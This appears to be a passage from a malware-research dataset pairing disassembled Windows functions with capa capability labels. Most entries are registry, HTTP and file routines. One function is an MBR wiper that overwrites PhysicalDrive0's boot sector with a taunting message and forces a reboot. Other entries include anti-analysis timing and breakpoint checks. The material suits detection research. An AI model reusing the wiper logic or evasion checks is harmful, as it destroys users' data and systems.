joyce8/EMBER2024-capa huggingface dataset:
Function at 0x453084
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4531ed
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403c20
mov eax, dword [ebp - 0x10]
call fcn.00452d10
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x4530d6
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, 1
call fcn.00404050
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0045345c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4531ab
xor eax, eax
push ebp
push 0x4531a4
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.00452e80
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.004531fc
test al, al
je 0x453182
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.00403c70
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x453182
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403fcc
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x45317c
mov eax, dword [ebp - 0x14]
call fcn.00403fcc
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.00403d40
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
call fcn.00453084
dec ebx
cmp ebx, 0xffffffff
jne 0x453135
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4531ab
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.00452e80
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 0x10]
call fcn.00403fcc
push eax
mov dl, byte [ebp - 9]
mov eax, dword [ebp - 4]
call fcn.00452e6c
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4531f4
lea eax, [ebp - 0x3c]
call fcn.00403b88
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403bac
ret
Function at 0x4531ab
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4531ed
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403c20
mov eax, dword [ebp - 0x10]
call fcn.00452d10
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x4530d6
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, 1
call fcn.00404050
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0045345c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4531ab
xor eax, eax
push ebp
push 0x4531a4
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.00452e80
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.004531fc
test al, al
je 0x453182
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.00403c70
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x453182
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403fcc
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x45317c
mov eax, dword [ebp - 0x14]
call fcn.00403fcc
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.00403d40
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
call fcn.00453084
dec ebx
cmp ebx, 0xffffffff
jne 0x453135
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4531ab
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.00452e80
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 0x10]
call fcn.00403fcc
push eax
mov dl, byte [ebp - 9]
mov eax, dword [ebp - 4]
call fcn.00452e6c
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4531f4
lea eax, [ebp - 0x3c]
call fcn.00403b88
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403bac
ret

Function at 0x4531fc
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.00402bd0
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x47cc14]
cmp byte [edx + 8], 0
je 0x453260
mov edx, dword [0x47cc10]
cmp dword [edx], 2
jne 0x453260
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret
Function at 0x453380
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.00452d24
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00403fcc
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x4533de
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x47ca34]
mov dl, 1
mov eax, dword [0x452bb0]
call fcn.0040ac04
call fcn.00403658
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4533e8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00403fcc
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x453440
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x47cc24]
mov dl, 1
mov eax, dword [0x452bb0]
call fcn.0040ac04
call fcn.00403658
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00452d54
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x453630
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x453747
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, esi
call fcn.00452e80
xor eax, eax
push ebp
push 0x453722
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x2c]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.004531fc
test al, al
je 0x453706
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.00453510
pop ecx
mov ecx, dword [ebp - 0x20]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.00403c70
mov ebx, dword [ebp - 0x24]
dec ebx
test ebx, ebx
jl 0x453706
inc ebx
xor edi, edi
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00403fcc
push eax
push edi
push esi
call sub.advapi32.dll_RegEnumValueA
test eax, eax
jne 0x453702
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00403fcc
mov edx, eax
lea eax, [ebp - 0x30]
call fcn.00403d40
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.00453510
pop ecx
inc edi
dec ebx
jne 0x4536b7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453729
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 0x10]
call fcn.00452e80
ret
Function at 0x453758
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
xor ecx, ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x453999
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 4]
call fcn.00452e80
xor eax, eax
push ebp
push 0x45396f
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x44]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.004531fc
test al, al
je 0x453953
mov ecx, dword [ebp - 0x40]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.00403c70
mov eax, dword [ebp - 0x44]
dec eax
test eax, eax
jl 0x453953
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403fcc
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x453947
mov eax, dword [ebp - 0x14]
call fcn.00403fcc
mov edx, eax
lea eax, [ebp - 0x48]
call fcn.00403d40
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0045345c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x453947
xor eax, eax
push ebp
push 0x453940
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 8]
call fcn.00452e80
xor eax, eax
push ebp
push 0x453922
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x14]
call fcn.00403fcc
mov edx, eax
lea eax, [ebp - 0x4c]
call fcn.00403d40
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00452e84
mov eax, dword [ebp - 0x14]
call fcn.00403fcc
mov edx, eax
lea eax, [ebp - 0x50]
call fcn.00403d40
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0045345c
mov dword [ebp - 0x24], eax
xor eax, eax
push ebp
push 0x4538ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
call fcn.00453630
pop ecx
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
call fcn.00453758
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453906
mov eax, dword [ebp - 0x24]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
inc dword [ebp - 0x10]
dec dword [ebp - 0x28]
jne 0x4537e3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453976
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 0x18]
call fcn.00452e80
ret
Function at 0x457f8c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
push 0x40
push 0x1000
push pe_nt_image_headers32
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x458016
xor edx, edx
push ebp
push 0x457ff7
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
mov dword [eax], 0x448b5050
mov dword [eax + 4], 0x44890824
mov dword [eax + 8], 0x58b0424
lea edx, [ebx + 4]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], 0x8244489
mov dword [eax + 0x14], 0x25ff9058
mov dword [eax + 0x18], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x458016
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45bf30
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x45bf5e
mov eax, ebx
call fcn.0045c9d4
cmp dword [ebx + 0x3c], 0
je 0x45bf57
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x45bfcf
mov edx, dword [ebx + 0x1a6]
cmp dword [edx + 0x10], 0
je 0x45bfc1
cmp dword [ebx + 8], 0
je 0x45bf80
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1a6]
call dword [edx]
test eax, eax
jne 0x45bf92
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x45bfc1
cmp dword [ebx + 8], 0
je 0x45bf73
cmp eax, 3
je 0x45bfa5
dec eax
jne 0x45bf73
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45bf73
mov edx, dword [ebx + 0x132]
add dword [eax + 8], edx
jmp 0x45bf73
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x45bfed
cmp dword [ebx + 0x10], 0xcc
je 0x45bfed
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0045bff8
pop ebx
ret

Function at 0x46cc4c
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403fbc
mov eax, dword [ebp - 8]
call fcn.00403fbc
xor eax, eax
push ebp
push 0x46cd69
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov ebx, 0x14
mov dword [ebp - 0x24], 0x14
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x3c], 2
mov eax, dword [ebp - 8]
call fcn.00403fcc
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], 3
mov eax, 0x46cd78
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.00403fcc
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x46cd4e
xor eax, eax
push ebp
push 0x46cd47
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x24]
push eax
push 0x4b
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetSetOptionA
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x46cd27
push 0
push 0
push 0x25
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetSetOptionA
test eax, eax
jne 0x46cd2b
xor eax, eax
jmp 0x46cd2d
mov al, 1
mov byte [ebp - 9], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46cd4e
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46cd70
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403bac
ret
Function at 0x46cd80
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403fbc
mov eax, dword [ebp - 8]
call fcn.00403fbc
mov eax, dword [ebp - 0xc]
call fcn.00403fbc
mov eax, dword [ebp + 0xc]
call fcn.00403fbc
xor eax, eax
push ebp
push 0x46ceef
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov ebx, 0x14
mov dword [ebp - 0x28], 0x14
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x40], 2
mov eax, dword [ebp - 8]
call fcn.00403fcc
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], 3
mov eax, 0x46cf00
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.00403fcc
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x46cecc
xor edx, edx
push ebp
push 0x46cec5
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 3
mov eax, dword [ebp + 0xc]
call fcn.00403fcc
push eax
mov eax, dword [ebp - 0xc]
call fcn.00403fcc
push eax
mov ax, word [ebp + 8]
push eax
mov eax, dword [ebp - 8]
call fcn.00403fcc
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetConnectA
test eax, eax
je 0x46ceae
push ebx
lea eax, [ebp - 0x28]
push eax
push 0x4b
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionA
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x46cea5
push 0
push 0
push 0x25
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionA
test eax, eax
jne 0x46cea9
xor eax, eax
jmp 0x46ceab
mov al, 1
mov byte [ebp - 0xd], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46cecc
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46cef6
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403bac
lea eax, [ebp + 0xc]
call fcn.00403b88
ret
Function at 0x46cf08
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
mov byte [ebp - 1], 0
mov ebx, 0x14
mov dword [ebp - 0x1c], 0x14
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x34], 2
mov eax, 0x46cfd0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 3
mov eax, 0x46cfd4
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 1
push 0x46cfd0
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x46cfc7
xor eax, eax
push ebp
push 0x46cfc0
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0x4b
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46cfc7
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
mov al, byte [ebp - 1]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x46d240
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46d454
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 0x105
mov eax, dword [ebp - 0x18]
call fcn.00402760
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x46d2be
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
test eax, eax
je 0x46d2a8
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.00403d40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d2c5
mov eax, dword [ebp - 8]
call fcn.00402778
ret

Function at 0x46e6ec
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov bl, 2
lea eax, [ebp - 0xa]
xor ecx, ecx
mov edx, 0xa
call fcn.00402bd0
push 0xa
lea eax, [ebp - 0xa]
push eax
push 0xd
push 0x400
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
je 0x46e726
cmp byte [ebp - 0xa], 0x31
jne 0x46e724
mov bl, 1
jmp 0x46e726
xor ebx, ebx
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46fd34
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.0042f3e4
test al, al
je 0x46fded
mov byte [ebp - 9], 0
xor ebx, ebx
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 8], eax
jmp 0x46fdcb
cmp word [esi + 0x5da], 0
je 0x46fd85
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 9]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [esi + 0x5dc]
call dword [esi + 0x5d8]
cmp byte [ebp - 9], 0
jne 0x46fda2
cmp dword [ebp - 4], 0
jbe 0x46fd9e
call sub.kernel32.dll_GetTickCount
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
ja 0x46fda2
xor ebx, ebx
jmp 0x46fda4
mov bl, 1
test bl, bl
jne 0x46fded
mov eax, dword [0x47caac]
mov eax, dword [eax]
cmp byte [eax + 0x8c], 0
jne 0x46fded
mov eax, dword [0x47caac]
mov eax, dword [eax]
call fcn.00446f54
push 1
call sub.kernel32.dll_Sleep
test esi, esi
je 0x46fded
cmp byte [esi + 0x570], 0
jne 0x46fded
mov edx, 0xfffffdf3
mov eax, esi
call fcn.0044f334
cmp eax, 4
jne 0x46fd62
test bl, bl
sete al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4731f4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403fcc
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x47320d
test al, 0x10
jne 0x473211
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x401070
Capabilities:
Contain obfuscated stackstrings
Execute command
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push 0x402120
push str.Press_yes_to_destroy_your_computer
push 0
call esi
cmp eax, 7
jne 0x4010b5
push str.No_Pressed_n
call fcn.00401040
add esp, 4
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push 0
push 3
push 0
push 3
push 0x40000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4010fb
push 0x30
push str.Error
push str.Error_opening_drive
push 0
call esi
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040124c
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x5c], 0xbb0015e8
mov eax, 0x58
mov dword [ebp - 0x58], 0x78a7c27
mov dword [ebp - 0x54], 0xb74003c
mov dword [ebp - 0x50], 0x430003e8
mov dword [ebp - 0x4c], 0xeb4f4eb
mov dword [ebp - 0x48], 0xc3c310cd
mov dword [ebp - 0x44], 0xb007b4
mov dword [ebp - 0x40], 0xb942b7
mov dword [ebp - 0x3c], 0x184fba00
mov dword [ebp - 0x38], 0x59c310cd
mov dword [ebp - 0x34], 0x2072756f
mov dword [ebp - 0x30], 0x74737973
mov dword [ebp - 0x2c], 0x68206d65
mov dword [ebp - 0x28], 0x6f207361
mov dword [ebp - 0x24], 0x63696666
mov dword [ebp - 0x20], 0x6c6c6169
mov dword [ebp - 0x1c], 0x65622079
mov dword [ebp - 0x18], 0x66206e65
mov dword [ebp - 0x14], 0x656b6375
mov dword [ebp - 0x10], 0xa0d2e64
mov dword [ebp - 0xc], 0x646f6f47
mov dword [ebp - 8], 0x2e657962
nop word [eax + eax]
cmp eax, 0x58
jae 0x401246
mov byte [ebp + eax - 0x5c], 0
inc eax
cmp eax, 0x1fe
jl 0x4011a0
push 0
lea eax, [ebp - 0x260]
push eax
push 0x200
lea eax, [ebp - 0x5c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4011ee
push 0x30
push str.Error
push str.Error_writing_to_drive
push eax
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4010e6
push dword [ebp - 0x260]
lea eax, [ebp - 0x25c]
push str.Wrote__lu_to_your_MBR__have_fun.
push 0x100
push eax
call fcn.00401010
add esp, 0x10
lea eax, [ebp - 0x25c]
push 0x30
push str.Done
push eax
push 0
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.shutdown__r__t_0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
call fcn.0040124c
mov esp, ebp
pop ebp
ret
call fcn.0040137c
int3

Function at 0x401b26
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b65
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b65
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b65
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b65
cmp dword [ecx + 0x74], 0xe
jbe 0x401b65
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret